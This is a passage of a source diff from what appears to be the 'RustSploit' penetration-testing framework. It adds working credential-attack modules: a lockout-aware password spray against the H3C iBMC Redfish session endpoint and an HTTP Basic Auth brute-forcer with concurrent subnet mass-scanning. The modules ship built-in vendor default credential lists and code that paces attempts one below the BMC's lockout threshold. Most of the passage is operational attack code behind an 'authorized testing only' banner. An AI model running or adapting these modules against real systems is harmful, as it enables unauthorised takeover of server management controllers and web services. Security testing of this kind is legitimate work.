Some(Ok(s)) if !s.is_empty() => Some(s.to_string()),
Some(Err(e)) => {
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
None
}
_ => None,
};
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
// Body read failed mid-stream: transient, not a denial.
Err(e) => return AttemptResult::Transient(format!("read body: {e}")),
};
// Require an actual token VALUE (header or parsed from the body). The old check
// accepted the bare field NAME "X-Auth-Token" appearing anywhere in the body
// and fell back to a "(present)" placeholder — both could store a
// non-credential lifted from an error page.
match header_token.or_else(|| extract_token(&body)) {
Some(tok) if !tok.is_empty() => AttemptResult::Hit(tok),
_ => AttemptResult::Denied,
}
}
fn extract_token(body: &str) -> Option<String> {
let needle = "X-Auth-Token";
let pos = body.find(needle)?;
let after = &body[pos + needle.len()..];
let colon = after.find(':')?;
let mut value_start = colon + 1;
let bytes = after.as_bytes();
while value_start < bytes.len() && bytes[value_start].is_ascii_whitespace() {
value_start += 1;
}
if value_start >= bytes.len() { return None; }
let rest = &after[value_start..];
if let Some(stripped) = rest.strip_prefix('"') {
let val: String = stripped.chars().take_while(|c| *c != '"').collect();
if val.is_empty() { None } else { Some(val) }
} else {
let val: String = rest.chars().take_while(|c| !c.is_whitespace() && *c != ',' && *c != '}').collect();
if val.is_empty() { None } else { Some(val) }
}
}
async fn read_lines(path: &str) -> Result<Vec<String>> {
let content = tokio::fs::read_to_string(path).await
.with_context(|| format!("read {}", path))?;
Ok(content.lines()
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect())
}
fn strip_scheme(host: &str) -> String {
let mut t = host.trim().to_string();
for prefix in &["https://", "http://"] {
if let Some(stripped) = t.strip_prefix(prefix) {
t = stripped.to_string();
break;
}
}
if let Some(slash) = t.find('/') { t.truncate(slash); }
if let Some(colon) = t.find(':') { t.truncate(colon); }
t
}
crate::register_native_module!(crate::module::Category::Creds, "generic/h3c_oem_kvm_bruteforce", native);
@@ -0,0 +1,442 @@
//! H3C iBMC Redfish Session Credential Spray.
//!
//! H3C iBMC firmware exposes the standard Redfish session endpoint at
//! `POST /redfish/v1/SessionService/Sessions`
//! that:
//!
//! * accepts JSON credentials `{"UserName": "...", "Password": "..."}`;
//! * returns `201 Created` with an `X-Auth-Token` header and `Location`
//! header on success, `401 Unauthorized` or `403 Forbidden` on failure;
//! * enforces an account lockout policy — on default H3C iBMC builds the
//! BMC locks an account after **5 failed attempts** for a **5-second
//! lockout duration** (discoverable via the AccountService resource).
//!
//! This module implements a **lockout-aware credential spray** strategy:
//! * Tracks attempts per username and pauses for a configurable cooldown
//! after `lockout_threshold` (default 4) consecutive failures on a
//! given account — one attempt fewer than the BMC's hard limit.
//! * Supports two ordering modes:
//! - **spray** (default) — try password₁ against all users, then
//! password₂ against all users, etc. This is the classic password-
//! spray approach that distributes attempts across accounts.
//! - **sequential** — try all passwords against user₁, then user₂,
//! etc. Suitable when the operator knows lockout is disabled.
//! * Honours `Retry-After` if the server surfaces a 429.
//! * Persists discovered credentials via the project-wide credential
//! store.
//!
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::collections::HashMap;
use std::time::Duration;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::network::{build_http_client_with, HttpClientOpts};
use crate::utils::{
cfg_prompt_default,
cfg_prompt_existing_file,
cfg_prompt_int_range,
cfg_prompt_yes_no,
normalize_target,
};
const DEFAULT_PORT: u16 = 443;
const DEFAULT_PATH: &str = "/redfish/v1/SessionService/Sessions";
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_LOCKOUT_THRESHOLD: i64 = 4;
const DEFAULT_LOCKOUT_COOLDOWN_SECS: i64 = 6;
/// Built-in fallback credential pairs — mostly vendor defaults observed
/// across H3C-OEM hardware deployments. Operators should prefer their own
/// wordlist via `userlist`/`passlist`.
const DEFAULT_CREDS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "Password@_"),
("admin", "Password@123"),
("admin", "h3capadmin"),
("admin", "Admin@9000"),
("Administrator", "Admin@9000"),
("Administrator", "Administrator"),
("sysadmin", "superuser"),
("root", "root"),
("root", "calvin"),
("operator", "operator"),
];
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
crate::mprintln!("{}", "║ H3C iBMC Redfish Session Credential Spray ║".red().bold());
crate::mprintln!("{}", "║ POST /redfish/v1/SessionService/Sessions ║".red());
crate::mprintln!("{}", "║ Lockout-aware: pauses after N attempts per account ║".red());
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
crate::mprintln!();
}
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "H3C iBMC Redfish Session Credential Spray".to_string(),
description: "Lockout-aware credential spray against the H3C iBMC Redfish session \
endpoint at POST /redfish/v1/SessionService/Sessions. Default H3C BMCs \
lock accounts after 5 failed attempts for 5 seconds; this module tracks \
per-account attempt counts and automatically pauses before triggering \
lockout. Supports spray (rotate users) and sequential ordering modes. \
A successful hit yields an X-Auth-Token granting full Redfish API access \
(power control, virtual media, configuration)."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/".to_string(),
"https://cwe.mitre.org/data/definitions/307.html".to_string(),
"https://www.dmtf.org/standards/redfish".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Excellent,
default_port: None,
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("h3c_redfish_session_spray requires a single-host target")?;
display_banner();
let mut outcome = ModuleOutcome::ok();
let normalized = normalize_target(target)?;
let host_input = if normalized.is_empty() {
return Err(anyhow!("target is required"));
} else {
normalized
};
// ── Configuration prompts ───────────────────────────────────────────
let port = cfg_prompt_int_range("port", "Target port", DEFAULT_PORT as i64, 1, 65535).await? as u16;
let path = cfg_prompt_default("path", "API path", DEFAULT_PATH).await?;
let timeout_secs = cfg_prompt_int_range("timeout", "Per-attempt timeout (seconds)", DEFAULT_TIMEOUT_SECS as i64, 1, 60).await? as u64;
let lockout_threshold = cfg_prompt_int_range(
"lockout_threshold",
"Max attempts per account before cooldown (BMC locks at 5)",
DEFAULT_LOCKOUT_THRESHOLD,
1, 100,
).await? as u32;
let lockout_cooldown_secs = cfg_prompt_int_range(
"lockout_cooldown_secs",
"Cooldown pause in seconds after threshold (BMC lockout is 5s)",
DEFAULT_LOCKOUT_COOLDOWN_SECS,
1, 300,
).await? as u64;
let spray_mode = cfg_prompt_yes_no(
"spray_mode",
"Spray mode? (rotate users per password — safer for lockout avoidance)",
true,
).await?;
let stop_on_hit = cfg_prompt_yes_no("stop_on_hit", "Stop on first valid credential?", true).await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose (log each attempt)", false).await?;
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try the built-in default credential list?", true).await?;
let load_user_wordlist = cfg_prompt_yes_no("user_wordlist", "Load a username wordlist?", false).await?;
let user_path = if load_user_wordlist {
Some(cfg_prompt_existing_file("userlist", "Path to username wordlist").await?)
} else { None };
let load_pass_wordlist = cfg_prompt_yes_no("pass_wordlist", "Load a password wordlist?", false).await?;
let pass_path = if load_pass_wordlist {
Some(cfg_prompt_existing_file("passlist", "Path to password wordlist").await?)
} else { None };
// ── Build the candidate list ────────────────────────────────────────
let mut pairs: Vec<(String, String)> = Vec::new();
if use_defaults {
for (u, p) in DEFAULT_CREDS { pairs.push((u.to_string(), p.to_string())); }
}
if let (Some(ufile), Some(pfile)) = (user_path.as_ref(), pass_path.as_ref()) {
let users = read_lines(ufile).await?;
let passwords = read_lines(pfile).await?;
for u in &users {
for p in &passwords {
pairs.push((u.clone(), p.clone()));
}
}
} else if let Some(pfile) = pass_path.as_ref() {
let passwords = read_lines(pfile).await?;
// Default to "admin" if only a password wordlist was given.
let users: Vec<&str> = vec!["admin"];
for u in &users {
for p in &passwords {
pairs.push((u.to_string(), p.clone()));
}
}
} else if let Some(ufile) = user_path.as_ref() {
let users = read_lines(ufile).await?;
for u in &users {
pairs.push((u.clone(), "admin".to_string()));
pairs.push((u.clone(), "password".to_string()));
pairs.push((u.clone(), u.clone()));
}
}
if pairs.is_empty() {
return Err(anyhow!("no candidate credentials configured — pick at least defaults or a wordlist"));
}
// ── Derive ordered attempt list based on spray vs sequential ────────
let ordered_pairs: Vec<(String, String)> = if spray_mode {
// Spray: try password₁ against all users, then password₂, etc.
// Collect unique users and unique passwords (preserving order).
let mut users: Vec<String> = Vec::new();
let mut passwords: Vec<String> = Vec::new();
let mut seen_users = std::collections::HashSet::new();
let mut seen_passwords = std::collections::HashSet::new();
for (u, p) in &pairs {
if seen_users.insert(u.clone()) { users.push(u.clone()); }
if seen_passwords.insert(p.clone()) { passwords.push(p.clone()); }
}
// Re-create the pair list in spray order: for each password, iterate
// all users — but only include pairs that were in the original set.
let pair_set: std::collections::HashSet<(String, String)> = pairs.iter().cloned().collect();
let mut sprayed = Vec::new();
for p in &passwords {
for u in &users {
if pair_set.contains(&(u.clone(), p.clone())) {
sprayed.push((u.clone(), p.clone()));
}
}
}
sprayed
} else {
// Sequential: original order (all passwords per user).
pairs
};
let host = format!("{}:{}", strip_scheme(&host_input), port);
let client = build_http_client_with(
Duration::from_secs(timeout_secs),
HttpClientOpts::permissive_unconditional(),
).context("Failed to build HTTP client")?;
crate::mprintln!("{}", format!(
"[*] Target: https://{}{} ({} pair(s), mode={}, lockout_threshold={}, cooldown={}s)",
host, path, ordered_pairs.len(),
if spray_mode { "spray" } else { "sequential" },
lockout_threshold, lockout_cooldown_secs,
).cyan());
// ── Attempt loop with per-account lockout tracking ──────────────────
// Track consecutive failed attempts per username.
let mut attempt_counts: HashMap<String, u32> = HashMap::new();
let mut found: Vec<(String, String, String)> = Vec::new();
let mut tried = 0u64;
'outer: for (user, pass) in &ordered_pairs {
if ctx.is_cancelled() { break 'outer; }
// Check if we need to cool down for this user.
let count = attempt_counts.entry(user.clone()).or_insert(0);
if *count >= lockout_threshold {
crate::mprintln!("{}", format!(
"[~] Lockout threshold ({}) reached for '{}' — cooling down {}s ...",
lockout_threshold, user, lockout_cooldown_secs
).yellow());
tokio::time::sleep(Duration::from_secs(lockout_cooldown_secs)).await;
*count = 0;
}
tried += 1;
ctx.rate_limit(target).await;
match try_login(&client, &host, &path, user, pass).await {
LoginResult::Success(token) => {
crate::mprintln!("{}", format!(
"[+] HIT: {}:{} -> X-Auth-Token={}",
user, pass, token
).green().bold());
// Reset the counter — credential is valid, no lockout concern.
attempt_counts.insert(user.clone(), 0);
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: &host, port, service: "redfish", username: user, secret: pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/h3c_redfish_session_spray",
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!(
"H3C iBMC Redfish session credentials valid {}:{} on {}",
user, pass, host
),
data: Some(serde_json::json!({
"service": "redfish",
"port": port,
"username": user,
"password": pass,
"token": token,
})),
});
found.push((user.clone(), pass.clone(), token));
if stop_on_hit { break 'outer; }
}
LoginResult::Denied => {
// Increment the per-user failure counter.
*attempt_counts.entry(user.clone()).or_insert(0) += 1;
if verbose {
crate::mprintln!("{}", format!(
"[-] {}:{} — denied (attempt {}/{})",
user, pass,
attempt_counts.get(user).unwrap_or(&0),
lockout_threshold,
).dimmed());
}
}
LoginResult::RateLimited(wait_secs) => {
crate::mprintln!("{}", format!(
"[~] 429 rate-limited — waiting {}s ...", wait_secs
).yellow());
tokio::time::sleep(Duration::from_secs(wait_secs)).await;
// Do not increment the failure counter for rate-limit responses;
// the attempt was not actually evaluated by the BMC.
}
LoginResult::Error(msg) => {
if verbose {
crate::mprintln!("{}", format!(
"[!] {}:{} — error: {}", user, pass, msg
).red());
}
}
}
}
// ── Summary ─────────────────────────────────────────────────────────
crate::mprintln!();
crate::mprintln!("{}", format!(
"[*] {} attempts; {} valid credential(s)",
tried, found.len()
).cyan().bold());
if found.is_empty() {
crate::mprintln!("{}", "[-] No valid credentials found.".yellow());
}
Ok(outcome)
}
// ── Login attempt helpers ───────────────────────────────────────────────
enum LoginResult {
/// Successful authentication — carries the X-Auth-Token value.
Success(String),
/// 401 / 403 — invalid credentials.
Denied,
/// 429 — server asked us to back off. Carries the wait duration in
/// seconds (from Retry-After, capped at 60).
RateLimited(u64),
/// Transport or unexpected server error.
Error(String),
}
/// Single login attempt against the Redfish session endpoint.
///
/// On success (HTTP 201), extracts the `X-Auth-Token` response header.
async fn try_login(
client: &reqwest::Client,
host: &str,
path: &str,
user: &str,
pass: &str,
) -> LoginResult {
let url = format!("https://{}{}", host, path);
let body = serde_json::json!({
"UserName": user,
"Password": pass,
});
let resp = match client
.post(&url)
.header("Content-Type", "application/json")
.json(&body)
.send()
.await
{
Ok(r) => r,
Err(e) => return LoginResult::Error(format!("{}", e)),
};
let status = resp.status().as_u16();
match status {
201 => {
// A genuine Redfish session-create returns 201 + X-Auth-Token. Without
// that header it is NOT a usable session — don't store a credential on
// a bare 201 (e.g. from a proxy/load-balancer). Previously a missing
// token was stored as the literal "(header-missing)".
match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
Some(Ok(tok)) if !tok.is_empty() => LoginResult::Success(tok.to_string()),
Some(Err(e)) => {
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
LoginResult::Error("X-Auth-Token header not readable".to_string())
}
_ => LoginResult::Error(
"201 Created without X-Auth-Token — not a valid session".to_string(),
),
}
}
429 => {
let wait = resp
.headers()
.get("Retry-After")
.and_then(|v| v.to_str().ok())
.and_then(|v| v.parse::<u64>().ok())
.unwrap_or(5)
.min(60);
LoginResult::RateLimited(wait)
}
// Definitive negatives from a responding BMC (incl. 400/404/422 for a
// malformed/missing-endpoint login) — Denied, not Error, so per-account
// lockout tracking stays correct.
400 | 401 | 403 | 404 | 422 => LoginResult::Denied,
_ => LoginResult::Error(format!("unexpected HTTP {}", status)),
}
}
// ── Utility helpers ─────────────────────────────────────────────────────
async fn read_lines(path: &str) -> Result<Vec<String>> {
let content = tokio::fs::read_to_string(path).await
.with_context(|| format!("read {}", path))?;
Ok(content.lines()
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect())
}
fn strip_scheme(host: &str) -> String {
let mut t = host.trim().to_string();
for prefix in &["https://", "http://"] {
if let Some(stripped) = t.strip_prefix(prefix) {
t = stripped.to_string();
break;
}
}
if let Some(slash) = t.find('/') { t.truncate(slash); }
if let Some(colon) = t.find(':') { t.truncate(colon); }
t
}
crate::register_native_module!(crate::module::Category::Creds, "generic/h3c_redfish_session_spray", native);
@@ -0,0 +1,561 @@
use anyhow::{ anyhow, Context, Result };
use colored::*;
use std::io::Write;
use std::net::IpAddr;
use std::sync::Arc;
use std::time::Duration;
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
use crate::utils::{
load_lines,
get_filename_in_current_dir,
normalize_target,
cfg_prompt_default,
cfg_prompt_yes_no,
cfg_prompt_existing_file,
cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::utils::wordlist;
use crate::utils::network::build_http_client;
use crate::utils::{
BruteforceConfig,
LoginResult,
SubnetScanConfig,
generate_combos_mode,
parse_combo_mode,
load_credential_file,
run_bruteforce,
run_subnet_bruteforce,
is_subnet_target,
};
// ============================================================================
// Constants
// ============================================================================
const DEFAULT_HTTP_PORT: u16 = 80;
const DEFAULT_HTTPS_PORT: u16 = 443;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "password"),
("admin", "1234"),
("admin", "12345"),
("admin", "123456"),
("admin", ""),
("root", "root"),
("root", "password"),
("root", "toor"),
("root", ""),
("user", "user"),
("user", "password"),
("test", "test"),
("guest", "guest"),
("manager", "manager"),
];
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "HTTP Basic Auth Brute Force".to_string(),
description: "Brute-force HTTP Basic Authentication using username/password wordlists. \
Supports HTTPS with invalid certificate acceptance, default credential testing, \
combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
default_port: Some(80),
}
}
// ============================================================================
// Error Classification
// ============================================================================
#[derive(Debug, Clone, PartialEq)]
enum HttpErrorType {
AuthenticationFailed,
ConnectionRefused,
ConnectionTimeout,
TlsError,
Unknown,
}
impl HttpErrorType {
fn classify_error(msg: &str) -> Self {
let lower = msg.to_lowercase();
if lower.contains("401") || lower.contains("403") || lower.contains("unauthorized") {
Self::AuthenticationFailed
} else if lower.contains("refused")
|| lower.contains("reset")
|| lower.contains("broken pipe")
{
Self::ConnectionRefused
} else if lower.contains("timeout")
|| lower.contains("timed out")
|| lower.contains("deadline")
{
Self::ConnectionTimeout
} else if lower.contains("tls")
|| lower.contains("ssl")
|| lower.contains("certificate")
|| lower.contains("handshake")
{
Self::TlsError
} else {
Self::Unknown
}
}
fn is_retryable(&self) -> bool {
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
}
fn description(&self) -> &'static str {
match self {
Self::AuthenticationFailed => "Authentication failed",
Self::ConnectionRefused => "Connection refused/reset",
Self::ConnectionTimeout => "Connection timed out",
Self::TlsError => "TLS/SSL error",
Self::Unknown => "Unknown error",
}
}
}
#[derive(Debug)]
struct HttpError {
error_type: HttpErrorType,
message: String,
}
impl std::fmt::Display for HttpError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "[{}] {}", self.error_type.description(), self.message)
}
}
impl std::error::Error for HttpError {}
impl HttpError {
fn from_string(msg: String) -> Self {
let error_type = HttpErrorType::classify_error(&msg);
Self { error_type, message: msg }
}
}
// ============================================================================
// Module Entry Point
// ============================================================================
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("http_basic_bruteforce requires a single-host target")?;
crate::mprintln!("\n{}", "=== HTTP Basic Auth Bruteforce Module (RustSploit) ===".bold().cyan());
crate::mprintln!();
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = if wordlist::should_stream(&usernames_file) {
let mut lines = Vec::new();
let mut reader = wordlist::BatchedReader::open(&usernames_file).await?;
while let Some(batch) = reader.next_batch().await? {
lines.extend(batch);
}
lines
} else {
load_lines(&usernames_file)?
};
let passes = if wordlist::should_stream(&passwords_file) {
let mut lines = Vec::new();
let mut reader = wordlist::BatchedReader::open(&passwords_file).await?;
while let Some(batch) = reader.next_batch().await? {
lines.extend(batch);
}
lines
} else {
load_lines(&passwords_file)?
};
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "http_basic_subnet_results.txt").await?;
// build_http_client already disables redirects (its default) and
// accepts invalid certs — same shape, one canonical builder.
let subnet_client = Arc::new(
build_http_client(Duration::from_secs(5))
.context("Failed to build HTTP client")?,
);
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "http-basic",
jitter_ms: 50,
source_module: "creds/generic/http_basic_credcheck",
skip_tcp_check: false,
state_file: None,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
let url_path = url_path.clone();
let client = Arc::clone(&subnet_client);
let limiter = limiter.clone();
let module_path = module_path.clone();
async move {
let scheme = if use_https { "https" } else { "http" };
let url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
limiter.acquire(&module_path, &ip.to_string()).await;
match try_http_login(&client, &url, &user, &pass).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let he = HttpError::from_string(e.to_string());
LoginResult::Error {
message: he.message,
retryable: he.error_type.is_retryable(),
}
}
}
}
}).await?;
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid HTTP Basic Auth credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "http-basic",
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single Target Mode ---
let mut outcome = ModuleOutcome::ok();
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries = if retry_on_error {
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
} else {
0
};
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "http_basic_brute_results.txt").await?)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let scheme = if use_https { "https" } else { "http" };
let base_url = format!("{}://{}:{}{}", scheme, target, port, url_path);
let connect_addr = normalize_target(&format!("{}:{}", target, port))
.unwrap_or_else(|e| {
tracing::debug!("normalize_target failed: {e}");
format!("{}:{}", target, port)
});
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {} ({})", connect_addr, base_url).cyan());
// Load wordlists — use streaming reader for large files to avoid OOM
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
if wordlist::should_stream(file) {
let mut reader = wordlist::BatchedReader::open(file).await?;
while let Some(batch) = reader.next_batch().await? {
usernames.extend(batch);
}
} else {
usernames = load_lines(file)?;
}
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
if wordlist::should_stream(file) {
let mut reader = wordlist::BatchedReader::open(file).await?;
while let Some(batch) = reader.next_batch().await? {
passwords.extend(batch);
}
} else {
passwords = load_lines(file)?;
}
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let shared_client = Arc::new(
build_http_client(Duration::from_secs(connection_timeout))
.context("Failed to build HTTP client")?,
);
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let try_login = move |t: String, _p: u16, user: String, pass: String| {
let url = base_url.clone();
let client = Arc::clone(&shared_client);
let limiter = limiter.clone();
let module_path = module_path.clone();
async move {
limiter.acquire(&module_path, &t).await;
match try_http_login(&client, &url, &user, &pass).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let he = HttpError::from_string(e.to_string());
LoginResult::Error {
message: he.message,
retryable: he.error_type.is_retryable(),
}
}
}
}
};
let result = run_bruteforce(&BruteforceConfig {
target: target.to_string(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "http-basic",
jitter_ms: 50,
source_module: "creds/generic/http_basic_credcheck",
}, combos, try_login).await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored HTTP responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
let default_name = "http_basic_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
).await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# HTTP Basic Auth Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
for (host, user, pass) in &result.found {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid HTTP Basic Auth credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "http-basic",
"port": port,
})),
});
}
Ok(outcome)
}
// ============================================================================
// HTTP Basic Auth Login Attempt
// ============================================================================
/// Attempt HTTP Basic Auth login.
/// Returns Ok(true) on 200 (success), Ok(false) on 401/403 (auth failed),
/// Err on connection/protocol errors.
async fn try_http_login(
client: &reqwest::Client,
url: &str,
user: &str,
pass: &str,
) -> Result<bool> {
// Baseline probe WITHOUT credentials. If the endpoint serves 2xx to an
// unauthenticated request it is not actually protected by Basic Auth, so a
// subsequent 2xx with credentials is meaningless — treating it as a valid
// login produces a false positive for every credential pair. Only when the
// server challenges (401) does a credentialed 2xx confirm a real login.
let baseline = client
.get(url)
.send()
.await
.context("HTTP baseline request failed")?;
let baseline_status = baseline.status().as_u16();
let server_enforces_basic_auth = baseline_status == 401;
let response = client
.get(url)
.basic_auth(user, Some(pass))
.send()
.await
.context("HTTP request failed")?;
let status = response.status().as_u16();
match status {
200..=299 => {
if server_enforces_basic_auth {
Ok(true)
} else {
// Endpoint returns success without credentials too — cannot
// confirm these creds are valid. Report as a non-success
// rather than flooding loot with false positives.
Ok(false)
}
}
401 => Ok(false),
403 => {
crate::mprintln!("{}", format!("[?] 403 Forbidden for {}:{} — authenticated but unauthorized", user, pass).yellow().dimmed());
Ok(false)
}
301 | 302 | 303 | 307 | 308 => {
// A redirect only signals success when the endpoint actually enforced
// auth (baseline 401). Apps that redirect ALL anonymous users to a
// dashboard would otherwise mark every credential valid.
if !server_enforces_basic_auth {
return Ok(false);
}
// Only count redirect as success if it doesn't point to a login/auth page
if let Some(location) = response.headers().get("location") {
let loc = location.to_str().unwrap_or("").to_lowercase();
if loc.contains("login") || loc.contains("auth") || loc.contains("signin") || loc.contains("sso") {
Ok(false) // Redirect to login page = auth failed
} else {
Ok(true) // Redirect to non-login page = likely success
}
} else {
Err(anyhow!("HTTP {} redirect with no Location header", status))
}
}
// Definitive non-auth negatives from a responding server: treat as a clean
// failure (resets the consecutive-error counter) instead of a retryable
// Error that burns retries and trips the lockout give-up. 429/5xx fall
// through to the Err path below, where classify_error marks them retryable.
400 | 404 | 405 | 406 | 410 | 422 => Ok(false),
